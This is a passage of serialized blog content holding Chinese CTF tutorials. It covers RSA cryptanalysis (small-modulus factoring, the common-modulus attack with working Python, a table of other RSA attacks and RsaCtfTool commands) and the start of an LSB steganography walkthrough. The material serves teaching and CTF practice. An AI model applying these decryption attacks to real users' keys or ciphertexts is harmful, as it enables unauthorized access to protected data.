pow(g, b, p)\n",[32,10794,10795],{"class":34,"line":79},[32,10796,10797],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,10799,10800,10801,10804,10805,263,10807,10810],{},"RSA 的安全基础是：已知 ",[29,10802,10803],{},"n"," 求 ",[29,10806,15],{},[29,10808,10809],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,10812,89],{"id":88},[22,10814,10815],{"className":24,"code":3451,"language":26,"meta":27,"style":27},[29,10816,10817],{"__ignoreMap":27},[32,10818,10819,10821,10823,10825,10827],{"class":34,"line":35},[32,10820,2398],{"class":38},[32,10822,105],{"class":42},[32,10824,3462],{"class":42},[32,10826,3465],{"class":42},[32,10828,3468],{"class":42},[10,10830,10832],{"id":10831},"三核心知识rsa-公式","三、核心知识：RSA 公式",[22,10834,10837],{"className":10835,"code":10836,"language":174,"meta":27},[172],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[29,10838,10836],{"__ignoreMap":27},[15,10840,10841],{},"三个必须会用的 Python 运算：",[22,10843,10845],{"className":1237,"code":10844,"language":1239,"meta":27,"style":27},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[29,10846,10847,10852],{"__ignoreMap":27},[32,10848,10849],{"class":34,"line":35},[32,10850,10851],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[32,10853,10854],{"class":34,"line":46},[32,10855,10856],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,10858,10860],{"id":10859},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,10862,10863,10865],{},[135,10864,137],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,10867,10868,10870],{},[135,10869,143],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[22,10872,10874],{"className":1237,"code":10873,"language":1239,"meta":27,"style":27},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[29,10875,10876,10881,10886,10891,10896,10901,10906,10911,10915,10920,10925,10930,10935,10940,10945,10950,10955],{"__ignoreMap":27},[32,10877,10878],{"class":34,"line":35},[32,10879,10880],{},"p, q, e = 61, 53, 17\n",[32,10882,10883],{"class":34,"line":46},[32,10884,10885],{},"n = p * q\n",[32,10887,10888],{"class":34,"line":69},[32,10889,10890],{},"# n = 3233，公钥模数。\n",[32,10892,10893],{"class":34,"line":79},[32,10894,10895],{},"phi = (p - 1) * (q - 1)\n",[32,10897,10898],{"class":34,"line":451},[32,10899,10900],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[32,10902,10903],{"class":34,"line":457},[32,10904,10905],{},"d = pow(e, -1, phi)\n",[32,10907,10908],{"class":34,"line":463},[32,10909,10910],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[32,10912,10913],{"class":34,"line":469},[32,10914,2433],{"emptyLinePlaceholder":1372},[32,10916,10917],{"class":34,"line":475},[32,10918,10919],{},"m = 65\n",[32,10921,10922],{"class":34,"line":481},[32,10923,10924],{},"c = pow(m, e, n)\n",[32,10926,10927],{"class":34,"line":1294},[32,10928,10929],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[32,10931,10932],{"class":34,"line":1300},[32,10933,10934],{},"print(\"n =\", n)\n",[32,10936,10937],{"class":34,"line":2478},[32,10938,10939],{},"print(\"phi =\", phi)\n",[32,10941,10942],{"class":34,"line":2484},[32,10943,10944],{},"print(\"d =\", d)\n",[32,10946,10947],{"class":34,"line":2490},[32,10948,10949],{},"print(\"c =\", c)\n",[32,10951,10952],{"class":34,"line":2496},[32,10953,10954],{},"print(\"解密 =\", pow(c, d, n))\n",[32,10956,10957],{"class":34,"line":2502},[32,10958,10959],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[15,10961,3405],{},[22,10963,10966],{"className":10964,"code":10965,"language":174,"meta":27},[172],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[29,10967,10965],{"__ignoreMap":27},[15,10969,10970,10971,10974],{},"攻击者只有 ",[29,10972,10973],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,10976,10978],{"id":10977},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,10980,10981,10983],{},[135,10982,137],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,10985,10986,10988],{},[135,10987,143],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[146,10990,10992],{"id":10991},"_51-用-sympy-分解","5.1 用 sympy 分解",[22,10994,10996],{"className":1237,"code":10995,"language":1239,"meta":27,"style":27},"from sympy import factorint\n\nprint(factorint(3233))\n",[29,10997,10998,11003,11007],{"__ignoreMap":27},[32,10999,11000],{"class":34,"line":35},[32,11001,11002],{},"from sympy import factorint\n",[32,11004,11005],{"class":34,"line":46},[32,11006,2433],{"emptyLinePlaceholder":1372},[32,11008,11009],{"class":34,"line":69},[32,11010,11011],{},"print(factorint(3233))\n",[15,11013,3405],{},[22,11015,11018],{"className":11016,"code":11017,"language":174,"meta":27},[172],"{53: 1, 61: 1}\n",[29,11019,11017],{"__ignoreMap":27},[15,11021,11022,11023,300],{},"得到 ",[29,11024,11025],{},"p=53, q=61",[146,11027,11029],{"id":11028},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,11031,11032,11034],{},[135,11033,143],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[22,11036,11038],{"className":1237,"code":11037,"language":1239,"meta":27,"style":27},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[29,11039,11040,11045,11050,11054,11059,11064,11069,11074,11078,11082,11086,11091,11096,11100,11105,11110,11115],{"__ignoreMap":27},[32,11041,11042],{"class":34,"line":35},[32,11043,11044],{},"from Crypto.Util.number import long_to_bytes\n",[32,11046,11047],{"class":34,"line":46},[32,11048,11049],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[32,11051,11052],{"class":34,"line":69},[32,11053,2433],{"emptyLinePlaceholder":1372},[32,11055,11056],{"class":34,"line":79},[32,11057,11058],{},"n = 3233\n",[32,11060,11061],{"class":34,"line":451},[32,11062,11063],{},"e = 17\n",[32,11065,11066],{"class":34,"line":457},[32,11067,11068],{},"c = 2790\n",[32,11070,11071],{"class":34,"line":463},[32,11072,11073],{},"p, q = 53, 61\n",[32,11075,11076],{"class":34,"line":469},[32,11077,2433],{"emptyLinePlaceholder":1372},[32,11079,11080],{"class":34,"line":475},[32,11081,10895],{},[32,11083,11084],{"class":34,"line":481},[32,11085,10905],{},[32,11087,11088],{"class":34,"line":1294},[32,11089,11090],{},"m = pow(c, d, n)\n",[32,11092,11093],{"class":34,"line":1300},[32,11094,11095],{},"# 解密：m = c^d mod n。\n",[32,11097,11098],{"class":34,"line":2478},[32,11099,2433],{"emptyLinePlaceholder":1372},[32,11101,11102],{"class":34,"line":2484},[32,11103,11104],{},"print(\"m =\", m)\n",[32,11106,11107],{"class":34,"line":2490},[32,11108,11109],{},"print(long_to_bytes(m))\n",[32,11111,11112],{"class":34,"line":2496},[32,11113,11114],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[32,11116,11117],{"class":34,"line":2502},[32,11118,11119],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,11121,3405],{},[22,11123,11126],{"className":11124,"code":11125,"language":174,"meta":27},[172],"m = 65\nb'A'\n",[29,11127,11125],{"__ignoreMap":27},[15,11129,11130,11133,11134,11136],{},[29,11131,11132],{},"65"," 对应的 ASCII 字符是 ",[29,11135,2896],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[146,11138,11140],{"id":11139},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,11142,11143,11144,11148],{},"如果 n 太大本地分解不动，去 ",[3473,11145,11146],{"href":11146,"rel":11147},"https://factordb.com",[3477]," 粘贴 n 查询，或：",[22,11150,11152],{"className":1237,"code":11151,"language":1239,"meta":27,"style":27},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[29,11153,11154,11159,11163,11168,11173],{"__ignoreMap":27},[32,11155,11156],{"class":34,"line":35},[32,11157,11158],{},"from factordb.factordb import FactorDB\n",[32,11160,11161],{"class":34,"line":46},[32,11162,2433],{"emptyLinePlaceholder":1372},[32,11164,11165],{"class":34,"line":69},[32,11166,11167],{},"f = FactorDB(n)\n",[32,11169,11170],{"class":34,"line":79},[32,11171,11172],{},"f.connect()\n",[32,11174,11175],{"class":34,"line":451},[32,11176,11177],{},"p, q = f.get_factor_list()\n",[10,11179,11181],{"id":11180},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[146,11183,11185],{"id":11184},"_61-场景","6.1 场景",[15,11187,11188,11189,11191,11192,11195],{},"同一个 ",[29,11190,10803],{},"、两个互质的 ",[29,11193,11194],{},"e1, e2","、同一明文：",[22,11197,11200],{"className":11198,"code":11199,"language":174,"meta":27},[172],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[29,11201,11199],{"__ignoreMap":27},[146,11203,11205],{"id":11204},"_62-数学原理","6.2 数学原理",[15,11207,11208,11210],{},[135,11209,137],{},"：理解为什么\"两个密文能拼出明文\"。",[15,11212,11213,11215],{},[135,11214,143],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,11217,11218,11219,11222],{},"扩展欧几里得算法求出 ",[29,11220,11221],{},"a, b"," 使：",[22,11224,11227],{"className":11225,"code":11226,"language":174,"meta":27},[172],"a × e1 + b × e2 = 1\n",[29,11228,11226],{"__ignoreMap":27},[15,11230,11231],{},"则：",[22,11233,11236],{"className":11234,"code":11235,"language":174,"meta":27},[172],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[29,11237,11235],{"__ignoreMap":27},[146,11239,11241],{"id":11240},"_63-完整代码","6.3 完整代码",[22,11243,11245],{"className":1237,"code":11244,"language":1239,"meta":27,"style":27},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[29,11246,11247,11252,11257,11262,11267,11272,11277,11281,11285,11290,11294,11299,11304,11308,11313,11318,11323,11328,11332,11337,11342,11347,11352,11357,11362,11367,11372,11376,11381,11385,11390,11395,11400],{"__ignoreMap":27},[32,11248,11249],{"class":34,"line":35},[32,11250,11251],{},"def egcd(a, b):\n",[32,11253,11254],{"class":34,"line":46},[32,11255,11256],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[32,11258,11259],{"class":34,"line":69},[32,11260,11261],{},"    if b == 0:\n",[32,11263,11264],{"class":34,"line":79},[32,11265,11266],{},"        return a, 1, 0\n",[32,11268,11269],{"class":34,"line":451},[32,11270,11271],{},"    g, x, y = egcd(b, a % b)\n",[32,11273,11274],{"class":34,"line":457},[32,11275,11276],{},"    return g, y, x - (a // b) * y\n",[32,11278,11279],{"class":34,"line":463},[32,11280,2433],{"emptyLinePlaceholder":1372},[32,11282,11283],{"class":34,"line":469},[32,11284,11058],{},[32,11286,11287],{"class":34,"line":475},[32,11288,11289],{},"e1, e2 = 17, 19\n",[32,11291,11292],{"class":34,"line":481},[32,11293,10919],{},[32,11295,11296],{"class":34,"line":1294},[32,11297,11298],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[32,11300,11301],{"class":34,"line":1300},[32,11302,11303],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[32,11305,11306],{"class":34,"line":2478},[32,11307,2433],{"emptyLinePlaceholder":1372},[32,11309,11310],{"class":34,"line":2484},[32,11311,11312],{},"_, a, b = egcd(e1, e2)\n",[32,11314,11315],{"class":34,"line":2490},[32,11316,11317],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[32,11319,11320],{"class":34,"line":2496},[32,11321,11322],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[32,11324,11325],{"class":34,"line":2502},[32,11326,11327],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[32,11329,11330],{"class":34,"line":2508},[32,11331,2433],{"emptyLinePlaceholder":1372},[32,11333,11334],{"class":34,"line":2514},[32,11335,11336],{},"# 负指数要先取模逆元\n",[32,11338,11339],{"class":34,"line":3954},[32,11340,11341],{},"if a \u003C 0:\n",[32,11343,11344],{"class":34,"line":3960},[32,11345,11346],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[32,11348,11349],{"class":34,"line":3966},[32,11350,11351],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[32,11353,11354],{"class":34,"line":3972},[32,11355,11356],{},"else:\n",[32,11358,11359],{"class":34,"line":3978},[32,11360,11361],{},"    c1 = pow(c1, a, n)\n",[32,11363,11364],{"class":34,"line":4743},[32,11365,11366],{},"if b \u003C 0:\n",[32,11368,11369],{"class":34,"line":4748},[32,11370,11371],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[32,11373,11374],{"class":34,"line":4754},[32,11375,11356],{},[32,11377,11378],{"class":34,"line":4760},[32,11379,11380],{},"    c2 = pow(c2, b, n)\n",[32,11382,11383],{"class":34,"line":4765},[32,11384,2433],{"emptyLinePlaceholder":1372},[32,11386,11387],{"class":34,"line":4771},[32,11388,11389],{},"recovered = (c1 * c2) % n\n",[32,11391,11392],{"class":34,"line":4777},[32,11393,11394],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[32,11396,11397],{"class":34,"line":4783},[32,11398,11399],{},"print(\"恢复 m =\", recovered)\n",[32,11401,11402],{"class":34,"line":4789},[32,11403,11404],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,11406,3405],{},[22,11408,11411],{"className":11409,"code":11410,"language":174,"meta":27},[172],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[29,11412,11410],{"__ignoreMap":27},[10,11414,11416],{"id":11415},"七其他常见攻击速查","七、其他常见攻击速查",[489,11418,11419,11429],{},[492,11420,11421],{},[495,11422,11423,11426],{},[498,11424,11425],{},"场景",[498,11427,11428],{},"攻击",[505,11430,11431,11449,11457,11465,11473],{},[495,11432,11433,11442],{},[510,11434,11435,11438,11439],{},[29,11436,11437],{},"e=3"," 且 ",[29,11440,11441],{},"m^e \u003C n",[510,11443,11444,11445,11448],{},"直接开立方根（",[29,11446,11447],{},"gmpy2.iroot(c, 3)","）",[495,11450,11451,11454],{},[510,11452,11453],{},"同一明文发给 3 个不同 n",[510,11455,11456],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[495,11458,11459,11462],{},[510,11460,11461],{},"e 特别大（d 很小）",[510,11463,11464],{},"Wiener 攻击（连分数）",[495,11466,11467,11470],{},[510,11468,11469],{},"p、q 很接近",[510,11471,11472],{},"Fermat 分解（平方差）",[495,11474,11475,11478],{},[510,11476,11477],{},"泄露 dp",[510,11479,11480,11481],{},"枚举 k，",[29,11482,11483],{},"p = (e*dp-1)//k + 1",[10,11485,3004],{"id":3003},[489,11487,11488,11498],{},[492,11489,11490],{},[495,11491,11492,11494,11496],{},[498,11493,1046],{},[498,11495,3015],{},[498,11497,3018],{},[505,11499,11500,11518,11534],{},[495,11501,11502,11505,11516],{},[510,11503,11504],{},"pycryptodome",[510,11506,11507,263,11510,263,11513],{},[29,11508,11509],{},"long_to_bytes",[29,11511,11512],{},"inverse",[29,11514,11515],{},"pow(m,e,n)",[510,11517,3047],{},[495,11519,11520,11523,11529],{},[510,11521,11522],{},"sympy",[510,11524,11525,11528],{},[29,11526,11527],{},"factorint"," 分解",[510,11530,11531],{},[29,11532,11533],{},"factorint(3233)",[495,11535,11536,11539,11542],{},[510,11537,11538],{},"RsaCtfTool",[510,11540,11541],{},"自动尝试多种攻击、从公钥文件读取",[510,11543,11544],{},[29,11545,11546],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,11548,11549,11550,11555],{},"FactorDB（",[3473,11551,11554],{"href":11552,"rel":11553},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[3477],"https://factordb.com）用于查"," n 的已知分解。",[10,11557,10655],{"id":10654},[15,11559,1135],{},[22,11561,11564],{"className":11562,"code":11563,"language":174,"meta":27},[172],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[29,11565,11563],{"__ignoreMap":27},[15,11567,11568],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[146,11570,11572],{"id":11571},"第一步分解","第一步：分解",[15,11574,11575,11577],{},[135,11576,143],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[22,11579,11581],{"className":1237,"code":11580,"language":1239,"meta":27,"style":27},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[29,11582,11583,11587],{"__ignoreMap":27},[32,11584,11585],{"class":34,"line":35},[32,11586,11002],{},[32,11588,11589],{"class":34,"line":46},[32,11590,11591],{},"print(factorint(1000000016000000063))\n",[15,11593,3405],{},[22,11595,11598],{"className":11596,"code":11597,"language":174,"meta":27},[172],"{1000000007: 1, 1000000009: 1}\n",[29,11599,11597],{"__ignoreMap":27},[146,11601,11603],{"id":11602},"第二步解密","第二步：解密",[15,11605,11606,11608,11609,11612],{},[135,11607,143],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[29,11610,11611],{},"b'flag'"," 说明解密成功。",[22,11614,11616],{"className":1237,"code":11615,"language":1239,"meta":27,"style":27},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[29,11617,11618,11622,11626,11631,11636,11641,11646,11650,11654,11658],{"__ignoreMap":27},[32,11619,11620],{"class":34,"line":35},[32,11621,11044],{},[32,11623,11624],{"class":34,"line":46},[32,11625,2433],{"emptyLinePlaceholder":1372},[32,11627,11628],{"class":34,"line":69},[32,11629,11630],{},"n = 1000000016000000063\n",[32,11632,11633],{"class":34,"line":79},[32,11634,11635],{},"e = 65537\n",[32,11637,11638],{"class":34,"line":451},[32,11639,11640],{},"c = 856868007642616233\n",[32,11642,11643],{"class":34,"line":457},[32,11644,11645],{},"p, q = 1000000007, 1000000009\n",[32,11647,11648],{"class":34,"line":463},[32,11649,2433],{"emptyLinePlaceholder":1372},[32,11651,11652],{"class":34,"line":469},[32,11653,10895],{},[32,11655,11656],{"class":34,"line":475},[32,11657,10905],{},[32,11659,11660],{"class":34,"line":481},[32,11661,11662],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,11664,3405],{},[22,11666,11669],{"className":11667,"code":11668,"language":174,"meta":27},[172],"b'flag'\n",[29,11670,11668],{"__ignoreMap":27},[146,11672,11674],{"id":11673},"第三步工具验证","第三步：工具验证",[22,11676,11678],{"className":24,"code":11677,"language":26,"meta":27,"style":27},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[29,11679,11680],{"__ignoreMap":27},[32,11681,11682,11685,11687,11690,11692,11695,11698,11701,11704],{"class":34,"line":35},[32,11683,11684],{"class":38},"./RsaCtfTool.py",[32,11686,241],{"class":240},[32,11688,11689],{"class":240}," 1000000016000000063",[32,11691,4562],{"class":240},[32,11693,11694],{"class":240}," 65537",[32,11696,11697],{"class":240}," --uncipher",[32,11699,11700],{"class":240}," 856868007642616233",[32,11702,11703],{"class":240}," --attack",[32,11705,11706],{"class":42}," all\n",[10,11708,3197],{"id":3196},[15,11710,11711,11712,11715],{},"RSA 解题顺序：",[135,11713,11714],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1349,11717,4220],{},{"title":27,"searchDepth":46,"depth":46,"links":11719},[11720,11721,11722,11723,11724,11725,11726,11727,11728,11729],{"id":10767,"depth":69,"text":10768},{"id":88,"depth":69,"text":89},{"id":10831,"depth":69,"text":10832},{"id":10859,"depth":69,"text":10860},{"id":10977,"depth":69,"text":10978},{"id":11180,"depth":69,"text":11181},{"id":11415,"depth":69,"text":11416},{"id":3003,"depth":69,"text":3004},{"id":10654,"depth":69,"text":10655},{"id":3196,"depth":69,"text":3197},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":1365,"image":8618,"alt":11732,"tags":11733,"published":1372},"RSA 深入实战",[1369,4236,11734,1371],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":10762,"description":11730},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":11740,"title":11741,"body":11742,"description":12752,"extension":1363,"meta":12753,"navigation":1372,"ogImage":3227,"path":12757,"seo":12758,"stem":12759,"__hash__":12760},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":11743,"toc":12742},[11744,11748,11754,11756,11790,11794,11798,11801,11807,11811,11816,11963,11973,11977,11982,11987,12090,12092,12097,12101,12114,12120,12124,12129,12134,12138,12141,12147,12154,12158,12163,12201,12203,12209,12212,12218,12222,12227,12284,12287,12293,12296,12334,12336,12342,12345,12349,12358,12413,12415,12421,12428,12432,12437,12442,12445,12543,12550,12556,12567,12569,12634,12638,12643,12648,12652,12654,12694,12697,12702,12708,12723,12726,12728,12739],[10,11745,11747],{"id":11746},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,11749,11750,11751,11753],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[29,11752,4317],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,11755,89],{"id":88},[22,11757,11759],{"className":24,"code":11758,"language":26,"meta":27,"style":27},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[29,11760,11761,11774,11782],{"__ignoreMap":27},[32,11762,11763,11765,11767,11769,11771],{"class":34,"line":35},[32,11764,102],{"class":38},[32,11766,105],{"class":42},[32,11768,108],{"class":42},[32,11770,111],{"class":42},[32,11772,11773],{"class":42}," binwalk\n",[32,11775,11776,11778,11780],{"class":34,"line":46},[32,11777,2398],{"class":38},[32,11779,105],{"class":42},[32,11781,4357],{"class":42},[32,11783,11784,11786,11788],{"class":34,"line":69},[32,11785,5001],{"class":38},[32,11787,105],{"class":42},[32,11789,5006],{"class":42},[10,11791,11793],{"id":11792},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[146,11795,11797],{"id":11796},"_31-原理","3.1 原理",[15,11799,11800],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[22,11802,11805],{"className":11803,"code":11804,"language":174,"meta":27},[172],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[29,11806,11804],{"__ignoreMap":27},[146,11808,11810],{"id":11809},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,11812,11813,11815],{},[135,11814,137],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[22,11817,11819],{"className":1237,"code":11818,"language":1239,"meta":27,"style":27},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[29,11820,11821,11825,11830,11834,11838,11843,11847,11851,11855,11860,11864,11869,11873,11878,11882,11886,11890,11894,11898,11902,11907,11911,11915,11920,11924,11928,11933,11937,11941,11945,11950,11954,11959],{"__ignoreMap":27},[32,11822,11823],{"class":34,"line":35},[32,11824,4628],{},[32,11826,11827],{"class":34,"line":46},[32,11828,11829],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[32,11831,11832],{"class":34,"line":69},[32,11833,2433],{"emptyLinePlaceholder":1372},[32,11835,11836],{"class":34,"line":79},[32,11837,4642],{},[32,11839,11840],{"class":34,"line":451},[32,11841,11842],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[32,11844,11845],{"class":34,"line":457},[32,11846,4657],{},[32,11848,11849],{"class":34,"line":463},[32,11850,2433],{"emptyLinePlaceholder":1372},[32,11852,11853],{"class":34,"line":469},[32,11854,4666],{},[32,11856,11857],{"class":34,"line":475},[32,11858,11859],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[32,11861,11862],{"class":34,"line":481},[32,11863,4681],{},[32,11865,11866],{"class":34,"line":1294},[32,11867,11868],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[32,11870,11871],{"class":34,"line":1300},[32,11872,4696],{},[32,11874,11875],{"class":34,"line":2478},[32,11876,11877],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[32,11879,11880],{"class":34,"line":2484},[32,11881,2433],{"emptyLinePlaceholder":1372},[32,11883,11884],{"class":34,"line":2490},[32,11885,4710],{},[32,11887,11888],{"class":34,"line":2496},[32,11889,4715],{},[32,11891,11892],{"class":34,"line":2502},[32,11893,4720],{},[32,11895,11896],{"class":34,"line":2508},[32,11897,4725],{},[32,11899,11900],{"class":34,"line":2514},[32,11901,4730],{},[32,11903,11904],{"class":34,"line":3954},[32,11905,11906],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 